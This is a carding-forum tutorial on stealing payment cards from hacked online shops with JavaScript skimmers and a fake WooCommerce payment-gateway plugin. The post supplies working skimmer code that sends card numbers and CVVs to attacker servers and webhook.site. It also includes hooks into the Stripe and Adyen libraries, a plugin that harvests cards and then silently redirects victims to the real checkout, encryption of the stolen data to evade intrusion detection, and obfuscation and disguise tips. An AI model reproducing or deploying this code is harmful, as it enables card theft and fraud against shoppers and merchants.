Carding ðŸ’³ The Self-Sufficient Carder: Your first CC Sniffer 💳



Punched

Carding Novice
Joined
02.09.24
Messages
10
Reaction score
0
Points
1
💳 The self-sufficient Carder: Your first CC Sniffer 💳



The truth of the matter is that carding can be expensive. Deciding to card something often comes down to whether the cost of buying the cards, the proxies, the antidetect software required is worth it, especially if the success rate with a particular store isn't great. That's why I'm starting this series of essays/writeups. They're designed to help you become more self-reliant and reduce your dependence on those costs - or maybe even eliminate them altogether. This will be the first of many parts. And what better way to kick off the series than by addressing the core issue: exploring methods to source your own cards.

Sourcing your own cards is key, as they're usually the biggest expense in most carding operations. But for some it's not worth the hassle, especially if you're already getting relative success with cards you're sourcing from somewhere else. But knowledge, I maintain, is the most important tool within the carder's toolkit, having knowledge and practical experience with sourcing cards can give you edge over everyone elses, and it allows you to have a fallback if your preferred cc shop suddenly closes. Having a deep understanding about how to source your cards also gives you the diligence to weigh the quality of different shops. Especially if you're having issues with the cards you've been getting lately.

There are a bunch of ways to source your own cards, from hacking, to scamshops and phish campaigns, to sniffing, there's no shortage of ways to source your own cards. For the first part of the series we'll be focusing on online card sniffers, what they are, how they are implemented, and how you could possibly roll your own.

How?

There are two main ways we steal credit card info from online shops: phish sniffers and JS sniffers. For the sake of keeping this writeup focused on the topic, we will assume you already have access to a hacked server/shop. And you have at least write-access or able to inject code on their checkout. Hacking is a different topic on its own, which I will also make a writeup soon, perhaps on the Security category of the forum.



Phish sniffers are pretty simple. We just swap out the real checkout page with our fake one. We can, as I will demonstrate later, use our own checkout plugin which replaces the looks close enough to the real thing that most people don't notice. When they put in their card details, it comes straight to us instead of the store then we redirect them back to the checkout with the legitimate payment form. Easy money.

JS sniffers are a bit different. We don't replace anything, we just add our own little script to the checkout page. It watches what people type in and grabs all the data for us - card numbers, names, whatever. Then it sends it all to us without messing up the real purchase flow.

Both ways work pretty good, but JS is superior for the reason that it's harder to detect and it doesn't cause any hiccups in the checkout flow. JS is also harder to pull off on modern websites due to CSP/CORS which I'll also explain later on. All in all both approaches highly depend on the configuration and security build up of the shop: if it's an old, insecure, spaghetti-coded shop from Idaho, and you have dig-bick root access to the entire checkout flow, you roll out JS. If it's a relatively secure Wordpress + Woocommerce store with CSP, and you only have administrative access to install plugins and configure payment platforms, we use the phish/plugin approach.

Setting up our sniffer operation, this applies to both the JS Sniffer and Plugin sniffer:

Server setup:​
Ideally, we want our own server running NGINX and the latest PHP version. But if you can write other backend codes, why not?​
Control and flexibility. We can set up our own database, build custom panels to manage the cards, and avoid leaving traces on third-party services.​
Database:​
Store the cards in a database like MySQL or PostgreSQL.​
Advantage: We can easily search, sort, and manage our cards. Plus, we can build our own front-end panel for viewing and editing the data (CRUD operations).​
Custom front-end:​
With our own server and database, we can make a slick web app to manage everything.​
This lets us do stuff like auto-checking card validity, sorting by bank, or whatever else we need. I'll also write about this one in the future.​
Alternative options (for demo purposes, or if you cannot run your own webserver):​
Webhook.site: Quick and dirty. Good for testing, but not secure for real operations.​
Make.com: Can set up a webhook to dump data into Google Sheets.​
These are easier to set up but riskier. They leave more traces and give us less control.​

Using our own server is always better if we can. We have full control, can customize everything, and it's harder to trace back to us if we set it up right.
For learning and demo purposes, webhook.site or Make.com are fine. But for any serious operation, always go with your own server setup. It's more work upfront, but way safer and more powerful in the long run.

Since we're not focusing on managing servers for this writeup, we will instead use these first.
Soon I'll write about hosting your own dedicated server for all your operations, and the pros and cons of different approaches to it.

Getting ready:
Go to Webhook.site and grab your unique URL, as this will help us test our sniffers before we iterate and improve it for actual shops we have access to:



Getting to Work:

JS Sniffers
If JS sniffers are possible, they are your most reliable option; unlike the plugin approach, JS sniffers are very silent.

Demo Setup:
To show you how this works, we've set up a simple checkout page.
You can play with it here: https://codesandbox.io/s/keen-gates-7s4dz7

It's just a basic form, which you can also implement on your own server:

HTML:
<form id="checkout-form">
  <input type="text" name="cardNumber" placeholder="Card Number">
  <input type="text" name="expiry" placeholder="MM/YY">
  <input type="text" name="cvv" placeholder="CVV">
  <button type="submit">Pay Now</button>
</form>

Now, let's add our sniffer. For the demo, we'll use webhook.site to collect the card. Here's a basic js sniffer:

JavaScript:
(function() {
  var sniffedData = {};
  var form = document.getElementById('checkout-form');

  form.addEventListener('input', function(e) {
    sniffedData[e.target.name] = e.target.value;
  });

  form.addEventListener('submit', function(e) {
    e.preventDefault();

    var encodedData = btoa(JSON.stringify(sniffedData));
    var exfilUrl = '<https://webhook.site/your-unique-url-here>';

    fetch(exfilUrl + '?data=' + encodedData, {
      method: 'GET',
    }).then(function() {
      console.log('Card data sent to our server');
      form.submit(); // Let the form submit as normal
    });
  });
})();

To test this:
Get a webhook URL from webhook.site
Replace 'your-unique-url-here' in the code​
Paste the script into your browser console on the demo page​
Fill out and submit the form​

Check your webhook - you'll see the card you submitted magically appear.​


Decrypting the Base64 gives us:
{"cardNumber":"4242424242424242","expiry":"1230","cvv":"123"}

Now, let's see how this works when you've actually hacked a site. Here's what you'd typically do:

Create a more sophisticated sniffer script. We'll call it 'analytics-helper.js':

JavaScript:
(function() {
function sniff() {
var sniffedData = {};
var form = document.querySelector('form');
if (!form) return;  // Exit if no form on page
form.addEventListener('input', function(e) {
  if (['cardNumber', 'cvv', 'expiry'].includes(e.target.name)) {
    sniffedData[e.target.name] = e.target.value;
  }
});

form.addEventListener('submit', function(e) {
  var encodedData = btoa(JSON.stringify(sniffedData));
  var exfilUrl = 'https://ourserver/collect.php';

  navigator.sendBeacon(exfilUrl, encodedData);
});
}
// Run our sniffer
sniff();
})();

Upload this to the hacked server, maybe as '/assets/js/analytics-helper.js'.
Inject it into the checkout page. Find the main template (like 'checkout.php') and add:

HTML:
<script src="/assets/js/analytics-helper.js"></script>

Set up your server to receive and process sniffed cards.

Now, every time someone checks out, you're getting their card info, easy as fuck.

The key to a good JS sniffer is blending in. Here are some tricks:
Use legit-sounding names like 'analytics-helper.js'.​
Add your script to multiple pages, not just checkout.​
If possible, modify an existing script instead of adding a new one.​
Use navigator.sendBeacon() for exfiltration - it's stealthier than AJAX.​

Remember, in the real world, you'd obfuscate this code more. You might split it up, hide it in legit-looking functions, or encode parts of it. The goal is to make it look boring and normal if anyone happens to spot it.
Whether you're testing on our demo or deploying in the wild, the principle is the same: grab the data silently, send it off quickly, and don't disrupt the normal flow of the site. If you do it right, nobody will even know you are on the server sniffing like a hungry dog for a long long time.

Dealing with CORS and CSP:
Now, you might be thinking this is too easy. And you're right - modern websites often have defenses that make our job harder.

Let's talk about two big ones: CORS and CSP.
CORS (Cross-Origin Resource Sharing) is like a bouncer that checks if a script from one site is allowed to talk to another. It can stop us from sending data to our server if it's not set up right.
CSP (Content Security Policy) is even tougher. It tells the browser exactly what scripts are allowed to run and where they can send data. A strict CSP can shut down our sniffer before it even starts.
Bypassing CORS and CSP: But we've got some tricks up our sleeve:

For CORS, we can use techniques like JSONP or setting up a proxy on a permitted domain.​
With CSP, we might try to find a whitelisted domain we can abuse. For example, if the site allows scripts from a CDN, we could try to sneak our code in there.​
Sometimes, we can use DNS hijacking to make our evil server look like an allowed one.​

In some cases, we can use the form-action directive if it's not locked down:
JavaScript:
Array.from(document.forms).forEach(form => {
form.action = 'https://ourserver.com/collect.php';
});

Dealing with Secure Payment Forms:
Now, for the real challenge: secure payment forms like Stripe or Adyen.




These are tough to crack because:

They often use iframes, which our main page script can't access due to same-origin policy.​
They have strict CSP rules.​
The actual payment data often never touches the main site's server.​

But we're not out of options:

If the site is using Stripe Elements, we might be able to hook into the Stripe.js library before it creates the secure fields:

JavaScript:
let originalStripe = Stripe;
Stripe = function(key) {
let stripe = originalStripe(key);
let originalCreateElement = stripe.elements().create;
stripe.elements().create = function(type, options) {
let element = originalCreateElement(type, options);
element.on('change', (event) => {
if(event.complete) {
sendToOurServer(event.token);
}
});
return element;
}
return stripe;
}

For Adyen, we might try to intercept the data before it's sent to the secure component:

JavaScript:
let originalAdyen = adyen;
adyen.onCreate = function(state, component) {
state.onChange = function(state) {
sendToOurServer(state.data);
}
return originalAdyen.onCreate(state, component);
}

If all else fails, we could try to modify the page to replace the secure form with our own lookalike. It's riskier and more noticeable, but sometimes it's our only option. Which leads us to the Plugin/Phish method:

Sometimes, no matter how clever we are, JS sniffing just won't work due to security features of the site. Instead of sniffing in the background, we're going to put our own payment form right in front of the user. It'll look legit, and it'll be sending all that juicy cards straight to us.
For this demo, let's say we've got admin access to a WooCommerce shop. Here's how we'd set this up:

I've got you a plugin ready to go. I've written months ago, but works as well today as it did before. You can find it here:
*** Hidden text: cannot be quoted. ***


Upload and activate this plugin in the WordPress admin panel.
In the plugin settings, you'll see a field for the "Payment Processing URL". This is where you'll put your webhook.site URL.

How It Works:
Once activated, this plugin adds a new payment method to the WooCommerce checkout. When a customer selects our method, they'll see a form that looks just like a normal payment form. But when they hit submit, all that data is coming straight to us.

The Code:
Here's a simplified version of what's happening in our plugin:
PHP:
 add_action('woocommerce_payment_gateways', 'add_custom_gateway_class');
function add_custom_gateway_class($gateways) { $gateways[] = 'WC_Custom_Payment_Gateway'; return $gateways; }
class WC_Custom_Payment_Gateway extends WC_Payment_Gateway { public function process_payment($order_id) { $order = wc_get_order($order_id); $card_number = $_POST['custom_card_number']; $card_expiry = $_POST['custom_card_expiry']; $card_cvc = $_POST['custom_card_cvc'];
    $response = wp_remote_post($this->get_option('webhook_url'), array(
'body' => array(
'card_number' => $card_number,
'card_expiry' => $card_expiry,
'card_cvc' => $card_cvc,
'order_id' => $order_id
)
));

if (!is_wp_error($response) && $response['response']['code'] == 200) {
$order->payment_complete();
return array(
'result' => 'success',
'redirect' => $this->get_return_url($order)
);
} else {
wc_add_notice('Payment error:', 'error');
return;
}
}
}

Now, in a real-world scenario, we don't want to just grab the data and leave the customer hanging. We want to smoothly transition them back to the legit payment flow without raising suspicions.

Here's how we could pull that off:
Our server receives the card data.​
We store that data for later use.​
Instead of processing the payment, we send a special "switch" signal back to WooCommerce.​
Our plugin catches this signal and redirects the customer back to the checkout page, but this time with legit payment methods enabled.​

Here's how that might look in our plugin code, which I have not implemented in the code above I've provided for you above, since I've only used that for scamshops/phish shops:
PHP:
class WC_Custom_Payment_Gateway extends WC_Payment_Gateway {
    public function process_payment($order_id) {
        $order = wc_get_order($order_id);
        $card_data = array(
            'number' => $_POST['custom_card_number'],
            'expiry' => $_POST['custom_card_expiry'],
            'cvc' => $_POST['custom_card_cvc']
        );

        // Send data to our server
        $response = wp_remote_post($this->get_option('webhook_url'), array(
            'body' => array(
                'card_data' => $card_data,
                'order_id' => $order_id
            )
        ));

        if (!is_wp_error($response) && $response['response']['code'] == 200) {
            $body = json_decode($response['body'], true);
            if ($body['status'] == 'switch') {
                WC()->session->set('switch_payment_method', true);
        
                return array(
                    'result' => 'success',
                    'redirect' => wc_get_checkout_url()
                );
            }
        }

        wc_add_notice('Payment error. Please try again.', 'error');
        return array('result' => 'failure');
    }
}

// Add this to ensure our payment method doesn't show up second time around
add_filter('woocommerce_available_payment_gateways', 'filter_gateways', 10, 1);
function filter_gateways($available_gateways) {
    if (WC()->session && WC()->session->get('switch_payment_method')) {
        unset($available_gateways['custom_payment']); // Remove our fake gateway
        WC()->session->set('switch_payment_method', false);
    }
    return $available_gateways;
}

And on our server (this can also work in Make and Webhook.site, but for the latter I think you need a premium subscription):

PHP:
<?php
$card_data = $_POST['card_data'];

store_card_data($card_data);

http_response_code(200);
echo json_encode(['status' => 'switch']);

This approach has a few advantages:

We don't have to deal with actually processing payments, which simplifies our operation.​
The customer ends up using the store's real payment process, so everything after our interception looks 100% legit.​
If anything goes wrong with the real payment, it's not on us - as far as anyone can tell, our plugin was never even involved.​

The tricky part is making the transition smooth. We need to make it look like maybe there was a small hiccup in the payment process, but nothing suspicious. A message like "We couldn't process your payment, please try again" always worked for me.

Remember, timing is crucial. The whole process of accepting the card details, sending them to our server, and redirecting back to checkout should take about as long as a normal failed payment. The key to this approach is looking legitimate. The more your fake payment method looks and acts like a real one, the less likely anyone is to catch on. It's all about the details - from the form design right down to the thank you page. Get it right, and you'll be raking in fresh cards smoother than a real payment processor.

Encryption: Covering Our Tracks
When we're swiping card data, we gotta keep that shit locked down tight. That's where encryption comes in. We're not just hiding the data from nosy admins or users - we're trying to dodge automated security systems too.
Why We Need to Encrypt:

Avoid Detection:​
Most security systems and logs scan for patterns that look like credit card numbers or other sensitive data. If we're sending this stuff in plain text, we might as well be waving a big red flag saying "HEY, WE'RE STEALING CARD DATA OVER HERE!"​
Evade Intrusion Detection Systems (IDS):​
A lot of shops use IDS that specifically look for unencrypted card data leaving their network. Encryption helps us slip past these easily.​
Cover Our Asses:​
If our traffic gets intercepted or the logs get examined, encrypted data just looks like random garbage. It's way harder to prove the shop has been compromised.​
Protect Against Snooping:​
Sometimes other hackers might be watching the traffic too. Even worse, security researchers to feel like it's their calling to catch cybercrimes. Encryption keeps our data from them.​

Example Scenario:
Let's say we're sniffing cards from EasyShop.com. We're sending data back like this:
HTTP:
GET /collect?card=4111111111111111&cvv=123&exp=12/25 HTTP/1.1
Host: our-server-hosted-in-antartica.com

Any half-decent security system would catch this instantly. The shop's IT team would be on it like flies circling on shit, and we'd be shut down before we could get those non-vbv cards. But if we encrypt it:
HTTP:
GET /collect?data=U2FsdGVkX1+8kTSIF5/v3na41DVPGYnwV4HEqQnVhJzTs2vHUXGUtD2Q9QxF3xXx HTTP/1.1
Host: our-server-hosted-in-antartica.com

This looks like any other web request. It could be analytics data, session info, whatever. It doesn't raise immediate alarms, and even if someone gets suspicious, they can't prove what it is without our decryption key.
Remember, encryption isn't just about hiding the data - it's about making our whole operation invisible. It's the difference between getting cards consistently for months, or getting shut-down within the day.

How data exfil can be encrypted:​
We encrypt the data before it leaves the victim's browser or server.​
We use something strong like AES-256. Yeah, it's overkill, but better safe than sorry.​
We use a unique key for each shop we hit. This way, if one gets cracked, the others are still safe.​
For JS sniffers, we might do something like:
JavaScript:
const encrypt = (text, key) => {
  return CryptoJS.AES.encrypt(text, key).toString();
};

// When sending data:
let data = JSON.stringify({card: '4111111111111111', cvv: '123'});
let encrypted = encrypt(data, 'UniqueKeyForThisShop123');
fetch('https://our-server.com/collect?data=' + encodeURIComponent(encrypted));

For our plugin approach, we'd do similar in PHP (mostly depending on the platform’s API):
PHP:
function encrypt($data, $key) {
    $cipher = "aes-256-cbc";
    $ivlen = openssl_cipher_iv_length($cipher);
    $iv = openssl_random_pseudo_bytes($ivlen);
    $encrypted = openssl_encrypt($data, $cipher, $key, 0, $iv);
    return base64_encode($iv . $encrypted);
}

// When sending data:
$data = json_encode(['card' => '4111111111111111', 'cvv' => '123']);
$encrypted = encrypt($data, 'UniqueKeyForThisShop123');
file_get_contents("https://our-server.com/collect?data=" . urlencode($encrypted));

On our server, we decrypt this stuff before storing it. This way, even if someone intercepts the data in transit, all they see is gibberish.

Obfuscating Our Shit

(an example of how veteran sniffers obfuscate their code)

So we've encrypted the data we're stealing, but what about the code that's doing the stealing? We gotta hide that too. Here's how we do it:

For JS files:​
Minification: First, we squash all our code down to one line. This makes it harder to read.​
Obfuscation: Then we run it through a JS obfuscator. This turns our nice readable code into a mess of weird variable names and encodings.​

Here's a basic example:
JavaScript:
// Original
function sniffedCardData() {
    // Sniffing logic here
}

// Obfuscated
var _0x5a2b=['function\x20stealCardData(){\x20\x20\x20\x20//\x20Stealing\x20logic\x20here\x20}'];(function(_0x2d8f05,_0x4b81bb){var _0x4d74cb=function(_0x32719f){while(--_0x32719f){_0x2d8f05['push'](_0x2d8f05['shift']());}};_0x4d74cb(++_0x4b81bb);}(_0x5a2b,0x89));var _0x4d74=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a2b[_0x2d8f05];return _0x4d74cb;};eval(_0x4d74('0x0'));

For PHP plugins:​
Fake functionality: We add some legit-looking functions to our plugin to make it seem innocent.​
Hidden triggers: We bury our malicious code deep inside, only activated under specific conditions.​

The goal is to make our code look like gibberish or just boring normal code to anyone who's poking around. If some underpaid dev or security guy starts digging, they'll be confused as fuck as to what's really going on. The more layers of obfuscation we add, the harder it is for anyone to detect us. But don't go overboard - if it looks too suspicious, that might attract attention too. We're aiming for "boring and complicated", not "obviously hiding something".


So there you go: if you followed everything so far, you now have your first ‘baby’ sniffer. Why did I write all this shit and just give you a code that you can just plug and play? Because that won’t help you, if anything going the shortcut without any understanding whatsoever will do you more harm than good in becoming great at carding or hacking. The goal of this series is to arm you with knowledge, not spoonfeed you, and I wish you do the work in improving yourself with it.
Wow just wow
 
Top Bottom